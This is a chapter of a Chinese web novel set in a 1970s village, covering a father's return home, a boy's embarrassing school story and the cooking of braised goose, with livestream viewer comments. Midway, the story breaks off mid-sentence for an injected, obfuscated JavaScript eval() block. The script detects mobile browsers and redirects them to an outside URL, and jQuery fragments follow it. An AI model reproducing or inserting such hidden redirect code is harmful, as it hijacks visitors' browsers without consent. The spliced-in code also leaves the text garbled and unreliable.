139. 铁锅炖大鹅

作品:《在七零直播家长里短

    “闫峰!”


    王婶最先惊喜叫出声,连忙把王添禄推开,把人邀请进屋上炕暖和暖和。


    “哎哟,这会儿才回来呢,没冻着吧。”


    “没,穿得厚实,路上还遇到付家店的牛车,没走几步路。”


    闫峰搓搓手掌,久未感受到的暖炕,让他有些怀念。


    “之前听说你们出事,可把我和你叔吓出个好歹,跟你一块那几个也没事吧?”


    王婶连忙使唤王添禄去倒了碗热水,送到人手里。


    氤氲的蒸汽遮住眼眸,“...小高没了,其余住半年医院,跟我一块坐火车回来的。”


    王添禄长长叹出口气,拿起烟杆,狠狠吸了一大口。


    世事无常。


    “害,甭管别的,活下来就是有福气,你早早去看看王太爷,人也没几天了。”


    王婶看得开,看到全乎人,心情大好。


    “边月不知道一天跟郑桂芬捣鼓啥呢,三天两头往镇上跑,院子锁着,让你叔去问问知青院子那边,说不定知道。”


    “吃饭没?吃个烤苞米填填肚子?”


    王添禄把放铁炉子上烘得焦糊的穗苞米塞人手里,就给人拉走。


    王婶守在窗户边,雪花变成冻雨敲在地上,半下午还有些昏暗,俩人的背景没一会儿就消失不见了。


    村小学恢复正常上课,教室里,冯悦砍的柴火烧得正旺,俩知青在教室最后头搬了两张桌子开始学习。


    “来,跟着我念课文!”


    “大雪山在川省的西部...白雪纷飞,寒风刺骨。”[注1]


    王添禄听见读书声,心里满是震惊,刚路过的院子里,大开的门里,灶台上堆满行李。


    闫峰出事还能攒下来这么大笔钱呢!


    “娘。”


    闫洋有些扭捏地在搅着衣摆,有些不知道从何说起。


    “咋了?”


    边月看得称奇,啥时候搞出这样式的动静。


    “咋,身上有狗廊子啊?”[注2]


    耿老太太扶了扶眼镜,盖着毯子的双腿上,薄书页被轻轻翻过。


    这话不得不让边月正做米粉的手一顿,狐疑盯了人一眼。


    可不能再跟闫妍一块睡,那玩意咬人疼。


    “咦~”


    在帮忙的刘卫溪,一脸鄙夷。


    今天公社小学老师统一上市里学习,只在学校玩了半天就回家的俩人没作业,积极帮忙。


    “没!我娘老带我上澡堂去洗!”


    闫洋迅速反驳,也不觉得难以开口。


    鼓足勇气,“娘,我们班小胖说我没爹,信他又看不懂,非说我骗人,我今天在供销社门口随便拉了个叔...”


    “噗哈哈——”


    刘婶叠米皮的胳膊抬起,把整张脸捂在里头笑得直不起腰。


    “出息!”


    边月操起一根笔直的柴火,就想往人身上招呼。


    [哈哈哈,大孝子!]


    [没打个屁股开花,直接取关,哈哈哈!]


    [这小不点在学校还受欺负呢?]


    [光吃不长肉啊!]


    “啊,打哥哥?”


    闫妍抱住腿,瞬间把又气又笑的边月安抚下来。


    “俺爹长啥样我都记不得,一年到头都没见过几面,还不如那个叔叔呢,好歹多俊...”


    “啊!奶,救我!”


    闫洋长期跟着冯悦锻炼的好处就出来了,在狭小的屋子中窜梭,一时之间,还没被自己娘逮住。


    “帮你揪狗廊子?这不简单,用农药往头上裹,都药死。”


    耿老太太翻到下一页,平和地说出那是让人害怕的话,嘴角还带着欣慰的笑。


    村里头被农药药死的人都不少咧!


    “赶明你爹回来,您跟他说去吧!说你给外头又认了个二爹,狗崽子!”


    边月一把捞住人,狠狠往屁股上招呼几下,才回到灶台上忙碌。


    闫洋抽抽搭搭地趴在炕上,只觉得委屈。


    “不哭,吃麦乳精!”


    闫妍从自己口粮中扣出一份,守在眼睛鼻子都哭红的哥哥身边。


    “呜呜呜,还是俺妹对我最好!”


    闫洋嘴里干香甜香的麦乳精粉混入咸咸的眼泪,也对他有了很大的安抚。


    虽然今早上在供销社门口遇见的那个叔,胡子拉碴,头发乱得跟鸡窝似的,跟坐一路拖拉机似的。


    但那鼻子眼睛嘴巴,也就比他妹妹差一点,多俊呢,指不定比他那不着家的爹好。


    心里带着气,一想到家里这两年全是自家娘起早贪黑,没休息过几天,才让家里时不时吃上大肉。


    那没多少印象的爹,他可不在意,反正家里唯一的男人只能是他。


    闫峰打了个喷嚏,“谢谢知青们,打扰你们上课。”


    “没事,婶子平日里对我们可好。”


    林支竹回教室里继续学习,心里却是觉得边月男人身体似乎不太行,这才下雪,人就感冒了。


    闫峰回到冷灶冷坑的院子,把东西慢慢拾掇好。


    屋顶上吊的腊肉早被边月收到直播间仓库中,万一让村里哪个偷去,都没处哭。


    越收拾,越发心惊。


    除开杂物房和大红柜下堆的冬菜,橱柜中的大袋苞米面、高粱,整个屋子里都见不着油荤。


    炕柜里的被子床褥都还在,旧棉衣也还在,以及一双才纳好的棉鞋压在柜底。


    闫峰着急地穿好衣裳,找知青借了自行车,趁着天还没黑完,骑向公社。


    小院里,还在忙活。


    边月和刘婶正在把干透的米皮折叠在一块,切分成长条的米粉。


    “砰—砰—”


    耿老太太年纪上来,手腕却是一顶一的稳当,把大鹅头颈砍下,去掉气管、食管。


    “刺啦——”


    泡好的白芷、辣椒、胡椒、花椒、葱、八角等香料下锅,炒得金黄,把砍得大块的新鲜鹅肉下锅。


    搅和匀后撒盐,肉眼可见鹅肉表面的皮收缩,肉也黄乎乎的,加入大酱一块煸炒。


    染上颜色时候在锅边淋上白酒,同白芷一样是为了去腥的。


    适量酱油,保证锅底的鹅块一半能接触到浓郁的酱汁,继续炒到融合进酱味为止,加水炖煮。


    边月和刘婶忙把白面和好,掺了些杂粮面,在炕上静待发酵。


    做完米粉,这会儿才闲下来,加入耿老太太,坐在小椅子上,烤着泥火盆,嗑着南瓜子。


    “咔哒,这倒霉玩意,真让闫峰回来听见这话,说出去都让人笑话。”


    “还小呢,卫同小时候还不是不乐意认刘兴福。”


    “说起来也是愧对卫同,他从小就被留在王家屯,让他奶养着,卫明跟我们一块随军,住大院里头,性格都开明许多。”


    刘卫溪两眼中有些疑惑,用手撑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725724|136736||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着下巴,仔细听着。


    “一年到头能被他爷送大院里来回,还得好声好气大包小包送人回去!”


    刘婶想起她公公就是一肚子气,很快缓和过来,说起藏在心底的愧疚。


    “我两处跑,卫同还能记得个人,等刘兴福退下来,差点给当贼赶出院子去!”


    回想起有趣的事,嘴角勾起,又长叹口气。


    “后来俩爷子也没说好,人自个长大出去闯荡,咱也没好意思去管,把该准备好的都准备好,日子过得好就成。”


    耿老太太没听清,但从人脸上的表情变化猜出缘故,“不患寡而患不均,没兄弟阋墙都算好的了。”


    ?


    三个文盲扑闪着清澈的双眼。


    [好了,我出去也能说是有文化的人了!]


    [哈哈哈,比我马上期末考的室友眼神还要清澈。]


    [老太太下放前,估摸得是个地主家小姐吧,反正没少看书。]


    [咋就地主家小姐了?]


    [之前请人吃饭那架势,不像是没钱家庭。]


    “卫溪,奶给你七颗奶糖,只能分给你两个玩得最好的,咋分?”


    耿老太太梗一下,合上夹了厚实书签的书。


    刘卫溪闷头思考,边月和刘婶也在考虑。


    不止一个孩子的家庭,很难做到绝对的公平。


    这会儿手里有钱,还好点,前头拮据的时候,恨不得一张钱掰两半花,紧着缺的孩子来,那就不可避免地忽略别的孩子。


    闫洋看着只有闫妍能喝麦乳精,可羡慕了几个月。


    “唔,一人给三个,我吃一个!”


    刘卫溪举手,她觉得她玩好的伙伴,分不出前后。


    “要我一人给一个,剩下五个留自个兜里,自个吃交朋友都成。”


    耿老太太起身,活络开身子,瞅一眼锅,咕嘟咕嘟冒泡,瞧着比糖都好吃。


    边月和刘婶大概了解人刚说那句文绉绉话是啥意思,记在心里,也起身忙活。


    把从屯里带上来的干货泡开,木耳、菜干、粉条等。


    还不到五点,天昏黑得像是要下大雪,街坊里家家户户的窗户都糊上一层雾气。


    小院的那扇窗户透出昏黄的电灯光,边月站在灶台边上,将手里的葱油涂在刘婶擀开的面片上。


    折叠的面块切三指宽,露出因为被热油淋过而翠绿的葱叶,白芝麻也不老实地跑出来。


    两两交叠,刘婶用手指按压中间,再一拧,一个圆乎的胖花卷就成了。


    耿老太太守着灶台,锅里逐渐变粘稠的汤汁,立马将刚下锅的土豆、干货裹上。


    盖帘上,花卷躺在苞米叶上,很快又被锅盖遮住。


    “奶,还添柴不?”


    刘卫溪抬头。


    “就等最后的烧完就成,洗手等吃饭。”


    闫洋悄悄趴在门边,鼻尖全是肉香酱香葱油香。


    “吃饭!洗手!”


    闫妍积极推动他哥,出门找卫溪姐姐带她洗手。


    “啪嗒—啪嗒—”


    雪花又落下,在反着光的小水洼上格外显眼。


    冻得瑟瑟发抖的闫峰,才从机械厂找刘卫明问完,驶向车站。


    闫洋看到刚出锅的那一盆大鹅,飞快从地上爬起来,排在人后头洗手。


    围坐在炕桌上,只等长辈动筷子,眼疾手快地夹一块肉在碗中,黏黏糊糊的酱汁往下掉落。